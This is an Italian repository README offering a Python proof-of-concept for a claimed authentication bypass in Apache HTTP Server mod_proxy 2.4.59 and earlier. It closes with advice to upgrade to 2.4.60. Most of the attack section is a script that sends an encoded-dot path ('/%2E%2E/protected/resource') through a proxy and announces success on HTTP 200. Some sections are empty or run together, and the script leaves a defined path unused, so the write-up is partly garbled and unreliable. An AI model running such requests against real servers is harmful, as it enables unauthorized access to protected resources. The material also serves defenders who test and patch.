
Proof-of-concept che dimostra un difetto di codifica in Apache HTTP Server mod_proxy che può aggirare l'autenticazione tramite URL codificati appositamente.
Questo repository contiene script Proof of Concept (PoC) per dimostrare un problema di codifica nel modulo mod_proxy di Apache HTTP Server versioni 2.4.59 e precedenti. Questa vulnerabilità consente di inviare URL di richiesta con codifica errata ai servizi backend, bypassando potenzialmente l'autenticazione tramite richieste appositamente create.
CVE-ID: (In attesa)
Panoramica:
Un problema di codifica nel modulo mod_proxy di Apache HTTP Server versioni 2.4.59 e precedenti consente di inviare URL di richiesta con codifica errata ai servizi backend. Ciò può potenzialmente bypassare i meccanismi di autenticazione tramite richieste appositamente create. Si consiglia di aggiornare alla versione 2.4.60, che risolve questo problema.
Versioni interessate:
Versione corretta:
requests (pip install requests)Identificare il servizio backend:
http://backend-service.example.com.Creare una richiesta dannosa:
Eseguire lo script PoC:
mod_proxy_poc.py ed eseguirlo.Ecco uno script Python che dimostra la vulnerabilità:
import requests
# Configuration
proxy_url = "http://proxy-server.example.com" # Change this to the proxy server's URL
backend_service_path = "/protected/resource" # The path to the protected resource on the backend service
malicious_path = "/%2E%2E/protected/resource" # Incorrectly encoded path to bypass authentication
# Malicious request to be sent via the proxy server
malicious_url = f"{proxy_url}{malicious_path}"
def send_malicious_request():
try:
# Send the crafted request to the proxy server
response = requests.get(malicious_url)
# Print the response details
print("Status Code:", response.status_code)
print("Response Headers:", response.headers)
print("Response Body:", response.text)
if response.status_code == 200:
print("[+] Successfully bypassed authentication and accessed the protected resource.")
else:
print("[-] Failed to bypass authentication.")
except Exception as e:
print("[-] An error occurred:", str(e))
if __name__ == "__main__":
send_malicious_request()
Configurazione:
proxy_url: L'URL del server proxy.backend_service_path: Il percorso della risorsa protetta nel servizio backend.malicious_path: Il percorso con codifica errata per bypassare l'autenticazione.send_malicious_request:
Per mitigare questa vulnerabilità, aggiorna ad Apache HTTP Server versione 2.4.60, che risolve il problema di codifica nel modulo mod_proxy.
Mantenendo il software aggiornato e seguendo le migliori pratiche di sicurezza, è possibile prevenire vulnerabilità come questo problema di codifica nel modulo mod_proxy.